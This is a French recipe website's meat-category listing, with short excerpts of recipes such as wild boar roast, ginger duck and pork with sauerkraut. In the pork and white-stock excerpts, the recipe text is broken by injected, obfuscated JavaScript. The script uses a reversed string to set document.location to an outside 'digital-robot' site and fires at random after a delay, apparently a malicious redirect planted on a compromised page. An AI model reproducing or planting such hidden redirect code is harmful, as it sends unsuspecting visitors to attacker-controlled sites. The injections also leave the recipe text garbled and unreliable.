Catégorie : Viandes
Rôti de sanglier
Pelez, coupez en deux les gousses d’ail. Ôtez le germe. Pelez, hachez les échalotes et ...
Christine.. Lire la suiteCanard au gingembre
Coupez en fines lamelles les filets de canard. Rincez, égouttez le maïs. Lavez, séchez, émincez ...
Christine.. Lire la suiteBlancs de poulet à l’ail
Pelez, coupez en deux les gousses d’ail. Ôtez le germe. Dans une sauteuse avec 2 ...
Christine.. Lire la suiteCuisses de canard aux fruits séchés
Dans une cocotte. Versez le bouillon de volaille. Faites chauffer. Portez à ébullition. Réservez. Dans ...
Christine.. Lire la suiteCroustillant de porc avec de la choucroute
Découpez en fines tranches tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toutes la charcuterie. Les déposer ...
Christine.. Lire la suiteSalade de pommes de terre avec de l’andouillette
Pelez, émincez les échalotes. Rincez, essorez la salade mesclun. Dans un saladier préparez la vinaigrette ...
Christine.. Lire la suiteFond blanc
Désossez et ficeler la viande. Recouvrir les os d’un tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; ...
Christine. Lire la suiteCailles au nid
Dans un bol mélangez quelques pincées de sel avec le poivre.
Christine.. Lire la suiteRôti de porc fondant
Badigeonnez le rôti de moutarde. Pelez, émincez les oignons. Pelez les gousses d’ail et les ...
Christine.. Lire la suiteÉpaule de mouton aux pruneaux
Pelez, émincez les oignons. Coupez la viande de mouton en gros morceaux. Déposez-les dans une ...
Christine.. Lire la suite